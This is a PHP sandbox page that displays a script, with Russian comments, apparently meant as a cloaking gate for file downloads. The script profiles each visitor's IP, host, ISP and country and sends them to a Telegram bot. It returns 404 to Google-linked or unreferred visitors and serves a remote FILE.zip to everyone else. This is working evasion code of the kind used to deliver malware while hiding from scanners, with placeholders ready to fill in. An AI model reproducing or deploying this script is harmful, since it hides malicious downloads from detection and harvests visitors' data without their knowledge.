ВАРВ - PHP Online

Form of PHP Sandbox

Enter Your PHP code here for testing/debugging in the Online PHP Sandbox. As in the usual PHP files, you can also add HTML, but do not forget to add the tag <?php in the places where the PHP script should be executed.



Your result can be seen below.

Result of php executing





Full code of ВАРВ.php

  1. <?php
  2. //Получение значения реферера
  3. $referer = isset($_SERVER['HTTP_REFERER']) ? $_SERVER['HTTP_REFERER'] : '';
  4.  
  5. //Получение текущего домена
  6. $currentDomain = parse_url('http://' . $_SERVER['HTTP_HOST'], PHP_URL_HOST);
  7. $expectedDomain = explode('.', $currentDomain)[count(explode('.', $currentDomain)) - 2] . '.' . explode('.', $currentDomain)[count(explode('.', $currentDomain)) - 1];
  8.  
  9. //Получение домена из реферера
  10. $refererDomainFull = parse_url($referer, PHP_URL_HOST);
  11. $refererDomain = explode('.', $refererDomainFull)[count(explode('.', $refererDomainFull)) - 2] . '.' . explode('.', $refererDomainFull)[count(explode('.', $refererDomainFull)) - 1];
  12.  
  13. //Проверка ip пользователя
  14. $user_ip = $_SERVER['REMOTE_ADDR'];
  15.  
  16. // Получение имени хоста
  17. $hostname = gethostbyaddr($user_ip);
  18.  
  19. // API Check-Host.net
  20. $url = "https://check-host.net/ip-info?host={$user_ip}";
  21.  
  22. // Получение информации об ISP и организации
  23. $ch = curl_init($url);
  24. curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
  25. $response = curl_exec($ch);
  26. curl_close($ch);
  27.  
  28. //Проверка значения в ISP
  29. $isp_pos = strpos($response, 'ISP</td>');
  30. if ($isp_pos !== false) {
  31.     $isp_start = strpos($response, '<td>', $isp_pos)+4;
  32.     $isp_end = strpos($response, '</td>', $isp_start);
  33.     $isp = substr($response, $isp_start, $isp_end - $isp_start);
  34. } else {
  35.     $isp = 'empty';
  36. }
  37.  
  38. //Проверка значения в Organization
  39. $org_pos = strpos($response, 'Organization</td>');
  40. if ($org_pos !== false) {
  41.     $org_start = strpos($response, '<td>', $org_pos)+4;
  42.     $org_end = strpos($response, '</td>', $org_start);
  43.     $org = substr($response, $org_start, $org_end - $org_start);
  44. } else {
  45.     $org = 'empty';
  46. }
  47.  
  48. //Проверка значения в Country
  49. $country_pos = strpos($response, 'Country</td>');
  50. if ($country_pos !== false) {
  51.     $country_start = strpos($response, '<td>', $country_pos)+4;
  52.     $country_end = strpos($response, '</td>', $country_start);
  53.     $country = substr($response, $country_start, $country_end - $country_start);
  54.     $country = trim(strip_tags($country));
  55. } else {
  56.     $country = 'empty';
  57. }
  58.  
  59. $token = "BOT_TOKEN"; // TOKEN между ковычек
  60. $chat_id_bot = "CHAT_ID_FOR_BOTS"; // ID  между ковычек
  61. $chat_id_man = "CHAT_ID_FOR_GOODS"; // ID  между ковычек
  62.  
  63. //Проверка
  64. if (strpos($hostname, 'google') !== false
  65.     || strpos($isp, 'google') !== false
  66.     || strpos($org, 'google') !== false
  67.     || strpos($hostname, 'Google') !== false
  68.     || strpos($isp, 'Google') !== false
  69.     || strpos($org, 'Google') !== false
  70.     || strpos($hostname, 'GOOGLE') !== false
  71.     || strpos($isp, 'GOOGLE') !== false
  72.     || strpos($org, 'GOOGLE') !== false
  73.     || empty($referer)
  74.     || $refererDomain !== $expectedDomain)
  75. {
  76.     // Если хотя бы одна из переменных содержит "google", пустой реферер или реферер не соответствует домену - отправляем пользователя на 404
  77.     $arr = array(
  78.         '???? #BOT_' => $expectedDomain,
  79.         '????Ip Address: ' => $user_ip,
  80.         '⛱Ip Host: ' => $hostname,
  81.         '????Ip ISP: ' => $isp,
  82.         '????Ip Org: ' => $org,
  83.         '????Ip Country: ' => $country,
  84.         '????Referer Domain: ' => $refererDomain,
  85.     );
  86.  
  87.     foreach($arr as $key => $value) {
  88.         $txt .= "<b>".$key."</b>".$value."\n";
  89.     };
  90.     $txt = urlencode($txt);
  91.     $sendToTelegram = fopen("https://api.telegram.org/bot{$token}/sendMessage?chat_id={$chat_id_bot}&parse_mode=html&text={$txt}","r");
  92.  
  93.     if ($sendToTelegram){
  94.         header_remove();
  95.         header('Connection: close');
  96.         http_response_code(404);
  97.         die;
  98.     } else { echo "ERROR";}
  99. } else {
  100.     // Если ни одна из переменных не содержит "google", а реферер совпадет с текущим доменом отправляем пользователя на file
  101.     $arr = array(
  102.         '???? #MAN_' => $expectedDomain,
  103.         '????Ip Address: ' => $user_ip,
  104.         '⛱Ip Host: ' => $hostname,
  105.         '????Ip ISP: ' => $isp,
  106.         '????Ip Org: ' => $org,
  107.         '????Ip Country: ' => $country,
  108.         '????Referer Domain: ' => $refererDomain,
  109.     );
  110.  
  111.     foreach($arr as $key => $value) {
  112.         $txt .= "<b>".$key."</b>".$value."\n";
  113.     };
  114.     $txt = urlencode($txt);
  115.     $sendToTelegram = fopen("https://api.telegram.org/bot{$token}/sendMessage?chat_id={$chat_id_man}&parse_mode=html&text={$txt}","r");
  116.  
  117.     if($sendToTelegram){
  118.         header('Content-Type: application/octet-stream');
  119.         header('Content-Disposition: attachment; filename=FILE.zip'); //Имя выданного юзеру файла
  120.         header('Content-Description: File Transfer');
  121.         readfile('https://SOMELINK.com/FOLDER/FILE.zip'); //линк на файл
  122.         die;
  123.     } else { Echo "ERROR";}
  124. }
  125.  
  126.  
  127. ?>
File Description
  • ВАРВ
  • PHP Code
  • 06 Dec-2023
  • 4.9 Kb
You can Share it: